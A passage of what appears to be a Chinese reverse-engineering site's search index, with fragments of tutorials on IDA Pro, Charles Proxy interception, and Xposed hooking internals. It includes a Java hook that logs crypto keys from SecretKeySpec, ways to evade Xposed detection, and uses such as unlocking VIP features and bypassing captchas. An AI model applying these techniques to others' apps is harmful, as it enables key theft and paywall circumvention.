","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#flirt-签名应用于-android-ndk"},{"categories":null,"collections":null,"content":"FLIRT 签名应用于 Android NDK 对于使用 NDK 编译的 SO 文件，IDA 默认可能无法识别 C/C++ 标准库函数。手动应用 FLIRT 签名可以显著减少需要分析的函数数量。 制作与应用 NDK 签名 # 使用 IDA FLAIR 工具集：pelf 生成 PAT，sigmake 生成 SIG ./pelf $ANDROID_NDK/.../sysroot/usr/lib/aarch64-linux-android/libc.a libc_ndk.pat ./sigmake -n\"Android NDK r25 libc (arm64)\" libc_ndk.pat libc_ndk.sig cp libc_ndk.sig /path/to/ida/sig/arm64/ 在 IDA 中通过 File -\u003e Load file -\u003e FLIRT signature file... 加载签名文件，IDA 会自动匹配并重命名已识别的库函数。 应用签名后，sub_A000 等大量未知函数会被自动识别为 memcpy、memset、strlen、malloc 等标准库函数，逆向工程师可以专注于真正的业务逻辑代码。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#制作与应用-ndk-签名"},{"categories":null,"collections":null,"content":"类型库 (Type Libraries) 的使用 类型库包含预定义的结构体、枚举和函数原型，能让 IDA 正确解析复杂的数据结构。 通过 File -\u003e Load file -\u003e Load type library... 加载类型库。常用的有 jni_all（JNI 接口类型）和 gnulnx_arm64（Linux ARM64 类型）。 如果 IDA 没有内置所需的类型库，可以通过 File -\u003e Load file -\u003e Parse C header file... 从自定义头文件导入： // my_types.h struct aes_context { unsigned int round_key[60]; int nr; // 轮数 unsigned char iv[16]; // 初始化向量 int mode; // 0=ECB, 1=CBC, 2=CTR }; struct JNINativeMethod { const char* name; const char* signature; void* fnPtr; }; ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#类型库-type-libraries-的使用"},{"categories":null,"collections":null,"content":"处理 stripped 的 SO 文件 大多数发布版 SO 会被 strip。分析策略：先应用 FLIRT 签名识别库函数，再从字符串和导出函数入手，利用交叉引用追踪调用链，结合 Frida 动态分析回填信息。如果能获取旧版本或调试版本，使用 Diaphora/BinDiff 进行对比分析。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#处理-stripped-的-so-文件"},{"categories":null,"collections":null,"content":"IDA 数据库管理 IDA 分析结果保存在数据库文件中：32 位分析生成 .idb，64 位分析生成 .i64。建议定期使用 File -\u003e Save database 保存进度，对于重要分析使用 File -\u003e Save database as 创建快照，以便回退到之前的状态。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:12:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#ida-数据库管理"},{"categories":null,"collections":null,"content":"优缺点分析 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:13:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#优缺点分析"},{"categories":null,"collections":null,"content":"优点 优点 说明 最强的反汇编质量 业界公认的、最可靠的静态分析结果 FLIRT 和类型系统 极大地自动化了库函数和数据结构的识别过程 成熟和稳定 经过数十年打磨，软件本身极为稳定，用户体验流畅 强大的生态 海量的插件、教程和社区支持，遇到任何问题几乎都能找到解决方案 顶级的反编译器 Hex-Rays 反编译器是其最强大的护城河 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:13:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#优点"},{"categories":null,"collections":null,"content":"缺点 缺点 说明 价格昂贵 对于个人开发者或小型团队来说，价格是最大的门槛 闭源 核心功能是黑盒，无法审查或修改 协作不便 原生不支持多人协作，需要依赖第三方插件 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:13:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#缺点"},{"categories":null,"collections":null,"content":"Charles Proxy 指南 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:0:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#charles-proxy-指南"},{"categories":null,"collections":null,"content":"概述 Charles 是 Mac/Windows 上最流行的抓包工具之一，以其界面简洁、功能实用著称。在移动端（Android/iOS）逆向中，Charles 往往是首选的抓包工具。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:1:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#概述"},{"categories":null,"collections":null,"content":"1. 基础配置 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:2:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#1-基础配置"},{"categories":null,"collections":null,"content":"抓取 HTTPS PC 端安装证书: Help -\u003e SSL Proxying -\u003e Install Charles Root Certificate。 移动端安装证书: Help -\u003e SSL Proxying -\u003e Install Charles Root Certificate on a Mobile Device or Remote Browser。 手机设置代理到 Charles，浏览器访问 chls.pro/ssl 下载安装。 注意: Android 7.0+ 默认不信任用户安装的证书，需要将证书安装到系统分区（需 Root），或使用 VirtualXposed / Frida Hook 绕过。 开启 SSL 代理: Proxy -\u003e SSL Proxying Settings，添加 *:443。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:2:1","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#抓取-https"},{"categories":null,"collections":null,"content":"2. 核心功能 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:3:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#2-核心功能"},{"categories":null,"collections":null,"content":"Map Local (本地映射) 这是替换线上文件最常用的功能。 场景: 你反编译了一个 JS 文件，去除了反调试代码，保存为 hook.js。即使没有 Root 权限，你也可以让 APP 加载这个本地文件而不是线上的原始文件。 操作: 右键请求 -\u003e Map Local -\u003e Choose … (选择你的 hook.js)。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:3:1","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#map-local-本地映射"},{"categories":null,"collections":null,"content":"Map Remote (远程映射) 场景: 将 APP 的请求重定向到你自己的服务器。 操作: 右键请求 -\u003e Map Remote -\u003e 填写新的 Host/Port。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:3:2","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#map-remote-远程映射"},{"categories":null,"collections":null,"content":"Rewrite (重写) 比 Map 功能更细粒度，类似于 Burp 的 “Match and Replace”。 操作: Tools -\u003e Rewrite。 功能: Add Header: 添加 Cookie 或 Token。 Modify Body: 正则替换响应体内容。 Modify Status: 比如把服务器的 403 强行改成 200。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:3:3","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#rewrite-重写"},{"categories":null,"collections":null,"content":"Breakpoints (断点) 操作: 右键请求 -\u003e Breakpoints。 功能: 请求发出前断下（修改参数），响应返回前断下（修改数据）。 注意: Charles 的断点会阻塞整个连接，可能会导致超时。对于复杂的逻辑修改，建议用 Rewrite 或 Map Local。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:3:4","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#breakpoints-断点"},{"categories":null,"collections":null,"content":"3. 移动端抓包技巧 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:4:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#3-移动端抓包技巧"},{"categories":null,"collections":null,"content":"抓取非 HTTP 协议 (Socks Proxy) 如果 APP 使用了自定义的 TCP 协议，Charles 的 HTTP 代理可能抓不到。 Charles 支持 Socks 代理模式。 或者结合 Postern / Drony (Android VPN APP) 将所有流量强制转发到 Charles。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:4:1","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#抓取非-http-协议-socks-proxy"},{"categories":null,"collections":null,"content":"解决乱码问题 如果是 Protobuf 数据，Charles 默认显示乱码。 可以安装 “Charles Protobuf Viewer” 插件。 或者导出 raw data，使用 protoc --decode_raw 查看。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:4:2","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#解决乱码问题"},{"categories":null,"collections":null,"content":"总结 Charles 是移动端逆向的轻量级利器。 Map Local: 替换代码，Bypass 验证。 Rewrite: 修改协议字段。 SSL Proxying: 解密 HTTPS。 ","date":"2024-09-02","objectID":"/reverse_engineering/web/02-tooling/charles_guide/:5:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","Xposed"],"title":"Charles Proxy 指南","uri":"/reverse_engineering/web/02-tooling/charles_guide/#总结"},{"categories":null,"collections":null,"content":"Xposed 内部原理深度剖析 Xposed 是一个强大的 Android 框架，允许用户在运行时修改系统和应用程序进程的行为，而无需修改任何 APK 文件。本文档深入探讨了 Xposed 工作的核心原理。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:0:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#xposed-内部原理深度剖析"},{"categories":null,"collections":null,"content":"1. 入口点：Zygote 进程注入 Xposed 的基础在于它能够将自定义代码注入到每个 Android 应用程序进程中。它通过针对 Zygote 进程来实现这一点，Zygote 是 Android OS 中的原始进程，所有应用程序进程都从它 fork 而来。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:1:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#1-入口点zygote-进程注入"},{"categories":null,"collections":null,"content":"工作原理： 替换 app_process：在安装期间，Xposed 用自己修改后的版本替换原始的 /system/bin/app_process 可执行文件。这个可执行文件是 Zygote 进程启动的第一个程序。 加载桥接器：当 Zygote 启动时，它运行 Xposed 版本的 app_process。这个自定义可执行文件的主要任务是将一个特殊的 JAR 文件（通常称为 Xposed Bridge，即 XposedBridge.jar）加载到 Zygote 的地址空间中。 通过 Fork 继承：由于每个 Android 应用程序都是 Zygote 进程的 fork，它们都继承了父进程的内存空间。这意味着 Xposed Bridge JAR 从创建时刻起就自动加载到每个应用程序进程中。 这种巧妙的方法确保 Xposed 的核心逻辑在任何应用程序中都存在并准备好执行，为方法 Hook 提供了一个通用平台。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:1:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#工作原理"},{"categories":null,"collections":null,"content":"2. 核心魔法：方法 Hook Xposed 最著名的功能是其\"Hook\"Java 方法的能力。这不是简单的反射；它是对底层虚拟机数据结构的深度操纵。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:2:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#2-核心魔法方法-hook"},{"categories":null,"collections":null,"content":"Method 结构转换： 核心思想是改变虚拟机中目标 Java 方法的类型签名，使虚拟机认为它是一个 native 方法。 查找目标：模块使用 findAndHookMethod 等辅助函数来指定它们希望 Hook 的类和方法。 修改 Method 对象：在内部，Xposed 使用反射和本地代码来获取与目标对应的 Java java.lang.reflect.Method 对象的句柄。 “Native\"伪装： Xposed 修改 Method 对象的 accessFlags，添加 ACC_NATIVE 标志。 然后它覆盖方法的入口点指针。在 ART 运行时中，这意味着替换内部 ArtMethod 结构中的 entry_point_from_quick_compiled_code_ 字段。 这个新的入口点现在指向 Xposed 提供的通用原生桥接函数。 保存原始方法：在覆盖之前，Xposed 仔细地将原始方法的信息（包括其原始入口点和访问标志）保存到单独的备份结构中。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:2:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#method-结构转换"},{"categories":null,"collections":null,"content":"Hooked 方法的执行流程： 当应用程序调用被 Xposed Hook 的方法时，会发生以下序列： 绕道到原生桥接器：虚拟机现在认为该方法是原生方法，将调用定向到 Xposed 的通用原生桥接函数。 回调到 Java 桥接器：原生函数做的事情很少。它的主要目的是回调到 Java 世界，调用 Xposed Bridge 中的核心 Java 方法：handleHookedMethod。 handleHookedMethod 协调：这个强大的 Java 方法协调整个 Hook 生命周期： 它将方法的参数和 this 引用准备到一个 MethodHookParam 对象中。 beforeHookedMethod：它遍历模块中所有注册的回调，并调用它们的 beforeHookedMethod 方法。这些回调可以检查或修改参数。关键的是，“before\"回调可以选择通过直接在 param 对象上设置结果来完全跳过原始方法。 调用原始方法：如果方法没有被跳过，handleHookedMethod 使用保存的备份信息来调用原始方法，并传入（可能已修改的）参数。 afterHookedMethod：在原始方法完成后，它再次遍历回调，这次调用它们的 afterHookedMethod 方法。这些回调可以检查或修改方法的返回值。 返回给调用者：最后，handleHookedMethod 将最终结果（来自\"before\"回调或原始方法的（已修改的）结果）返回给应用程序的原始调用点。 整个过程对应用程序代码是透明的，应用程序只是看到一个返回值的方法调用，而不知道它经历了复杂的绕道。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:2:2","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#hooked-方法的执行流程"},{"categories":null,"collections":null,"content":"3. 模块加载机制 Xposed 模块是标准的 Android APK，它们向框架表明自己的性质。 AndroidManifest.xml：模块的清单文件必须包含一个 \u003cmeta-data\u003e 标签，其中 android:name=\"xposedmodule\" 设置为 true。 assets/xposed_init：模块 assets 目录中的这个文件是一个简单的文本文件。每行指向一个完全限定的类名。 IXposedHookLoadPackage：xposed_init 中列出的类必须实现这个接口。Xposed 框架将实例化这些类，并为每个加载的应用程序包调用它们的 handleLoadPackage 方法，允许模块决定是否应用其 Hook。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:3:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#3-模块加载机制"},{"categories":null,"collections":null,"content":"架构图解 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:4:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#架构图解"},{"categories":null,"collections":null,"content":"Xposed 工作流程图 ┌─────────────────────────┐ │ 启动 Zygote 进程 │ └────────────┬────────────┘ │ ▼ ┌─────────────────────────┐ │ 运行修改的 app_process │ └────────────┬────────────┘ │ ▼ ┌─────────────────────────┐ │ 加载 XposedBridge.jar │ └────────────┬────────────┘ │ ▼ ┌─────────────────────────┐ │ Fork 应用进程 │ │ (继承 Xposed Bridge) │ └────────────┬────────────┘ │ ▼ ┌─────────────────────────┐ │ 应用启动 │ └────────────┬────────────┘ │ ▼ ┌─────────────────────────┐ │ 加载 Xposed 模块 │ │ (调用 handleLoadPackage) │ └────────────┬────────────┘ │ ▼ ┌─────────────────────────┐ │ Hook 目标方法 │ └─────────────────────────┘ ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:4:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#xposed-工作流程图"},{"categories":null,"collections":null,"content":"方法 Hook 执行流程 ┌──────────────────┐ │ VM 查找方法入口 │ └────────┬─────────┘ │ ▼ ┌─────────────────────────────┐ │ 检测到 ACC_NATIVE 标志 │ │ (已被 Xposed 修改) │ └────────┬────────────────────┘ │ ▼ ┌─────────────────────────────┐ │ 跳转到 Xposed Native Bridge │ └────────┬────────────────────┘ │ ▼ ┌─────────────────────────────┐ │ 调用 handleHookedMethod │ └────────┬────────────────────┘ │ ├──► 调用 beforeHookedMethod 回调 │ (可以修改参数或跳过原方法) │ ├──► 调用原始方法 (如果未跳过) │ (使用备份的原始入口点) │ ├──► 调用 afterHookedMethod 回调 │ (可以修改返回值) │ ▼ 返回给调用者 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:4:2","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#方法-hook-执行流程"},{"categories":null,"collections":null,"content":"关键字段修改 access_flags_: 添加 ACC_NATIVE 标志 entry_point_from_quick_compiled_code_: 替换为 Xposed 桥接函数地址 备份原始字段值以便后续恢复 伪代码示例： // Xposed 内部简化逻辑 void hookMethod(ArtMethod* method) { // 保存原始信息 backup.original_flags = method-\u003eaccess_flags_; backup.original_entry = method-\u003eentry_point_from_quick_compiled_code_; // 修改为 native 方法 method-\u003eaccess_flags_ |= ACC_NATIVE; method-\u003eentry_point_from_quick_compiled_code_ = xposed_bridge_entry; } ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:4:3","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#关键字段修改"},{"categories":null,"collections":null,"content":"回调执行顺序 模块 A - beforeHookedMethod │ ▼ 模块 B - beforeHookedMethod │ ▼ 原始方法执行 │ ▼ 模块 B - afterHookedMethod │ ▼ 模块 A - afterHookedMethod │ ▼ 返回结果 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:4:4","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#回调执行顺序"},{"categories":null,"collections":null,"content":"3. 性能优化机制 JIT/AOT 编译影响： Hooked 方法被标记为 native，避免 JIT 编译 通过 native 桥接的额外开销（约 10-50μs 每次调用） 大量 Hook 可能影响应用启动时间 最佳实践： 只 Hook 必要的方法 在回调中避免耗时操作 使用条件判断减少不必要的处理 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:4:5","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#3-性能优化机制"},{"categories":null,"collections":null,"content":"与其他 Hook 框架对比 特性 Xposed Frida VirtualXposed 需要 Root 是 否（Gadget 模式除外） 否 注入方式 Zygote 级别 进程级别 虚拟化容器 性能开销 低-中 中-高 中 开发语言 Java JavaScript/Python Java 动态性 重启应用生效 实时生效 重启应用生效 稳定性 高 中 中-低 适用场景 长期修改 动态分析/调试 无 Root 测试 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:5:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#与其他-hook-框架对比"},{"categories":null,"collections":null,"content":"安全影响与检测 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:6:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#安全影响与检测"},{"categories":null,"collections":null,"content":"应用层检测方法 1. 检查 Xposed 特征文件： private boolean isXposedInstalled() { try { // 检查 XposedBridge 类 Class.forName(\"de.robv.android.xposed.XposedBridge\"); return true; } catch (ClassNotFoundException e) { return false; } } 2. 检查方法是否被 Hook： private boolean isMethodHooked(Method method) { int modifiers = method.getModifiers(); return Modifier.isNative(modifiers) \u0026\u0026 !shouldBeNative(method); } 3. 检查堆栈跟踪： private boolean hasXposedInStackTrace() { StackTraceElement[] traces = Thread.currentThread().getStackTrace(); for (StackTraceElement trace : traces) { if (trace.getClassName().contains(\"XposedBridge\")) { return true; } } return false; } ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:6:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#应用层检测方法"},{"categories":null,"collections":null,"content":"绕过检测的方法 Hook 检测方法本身 修改 Xposed 特征字符串 清理堆栈跟踪信息 使用定制版 Xposed（修改特征字符串） ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:6:2","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#绕过检测的方法"},{"categories":null,"collections":null,"content":"实际应用场景 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:7:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#实际应用场景"},{"categories":null,"collections":null,"content":"1. 隐私保护 伪造设备信息（IMEI、MAC 地址等） 阻止权限请求 拦截敏感数据上传 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:7:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#1-隐私保护"},{"categories":null,"collections":null,"content":"2. 功能增强 移除广告 解锁 VIP 功能 修改应用行为 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:7:2","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#2-功能增强"},{"categories":null,"collections":null,"content":"3. 逆向分析 监控方法调用 提取加密密钥 分析算法逻辑 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:7:3","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#3-逆向分析"},{"categories":null,"collections":null,"content":"4. 自动化测试 模拟用户行为 注入测试数据 绕过验证码 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:7:4","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#4-自动化测试"},{"categories":null,"collections":null,"content":"模块开发示例 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:8:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#模块开发示例"},{"categories":null,"collections":null,"content":"基础 Hook 示例 public class MyXposedModule implements IXposedHookLoadPackage { @Override public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable { // 只 Hook 目标应用 if (!lpparam.packageName.equals(\"com.example.target\")) return; // Hook 方法 findAndHookMethod( \"com.example.target.MainActivity\", lpparam.classLoader, \"getUserInfo\", // 方法名 new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { // 在方法执行前 XposedBridge.log(\"getUserInfo 即将被调用\"); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { // 在方法执行后 String result = (String) param.getResult(); XposedBridge.log(\"getUserInfo 返回: \" + result); // 修改返回值 param.setResult(\"Fake User Info\"); } } ); } } ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:8:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#基础-hook-示例"},{"categories":null,"collections":null,"content":"捕获加密密钥示例 findAndHookMethod( \"javax.crypto.spec.SecretKeySpec\", lpparam.classLoader, \"\u003cinit\u003e\", byte[].class, // 参数类型 String.class, new XC_MethodHook() { @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { byte[] key = (byte[]) param.args[0]; String algorithm = (String) param.args[1]; XposedBridge.log(\"捕获密钥!\"); XposedBridge.log(\"算法: \" + algorithm); XposedBridge.log(\"密钥: \" + bytesToHex(key)); } } ); ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:8:2","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#捕获加密密钥示例"},{"categories":null,"collections":null,"content":"局限性与挑战 依赖 Root 权限：需要系统级访问 稳定性问题：不当使用可能导致系统崩溃 版本兼容性：需要针对不同 Android 版本适配 检测与对抗：越来越多应用实施反 Xposed 检测 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:9:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#局限性与挑战"},{"categories":null,"collections":null,"content":"未来趋势 EdXposed/LSPosed：基于 Riru/Zygisk 的新实现 虚拟化方案：VirtualXposed、太极等无需 Root 的方案 对抗升级：更复杂的检测与反检测技术 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:9:1","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 内部原理深度剖析","uri":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/#未来趋势"},{"categories":null,"collections":null,"content":"总结 Xposed 通过以下核心技术实现了强大的运行时修改能力： Zygote 注入：确保每个应用都加载 Xposed Bridge 方法伪装：将 Java 方法转换为 native，重定向入口点 回调机制：在方法执行前后插入自定义逻辑 模块化设计：灵活的 APK 插件系统 这种设计使 Xposed 成为 Android 平台上最强大的运行时修改框架之一，但同时也带来了安全风险和检测对抗的挑战。 理解 Xposed 的内部原理不仅有助于开发更好的模块，也为逆向工程、安全研究和应用保护提供了重要的技术洞察。 ","date":"2024-08-27","objectID":"/reverse_engineering/android/02-tools/dynamic/xposed_internals/:10:0","tags":["Native层","动态分析","签名验证","Frida","SSL Pinning","加密分析","Xposed"],"title":"Xposed 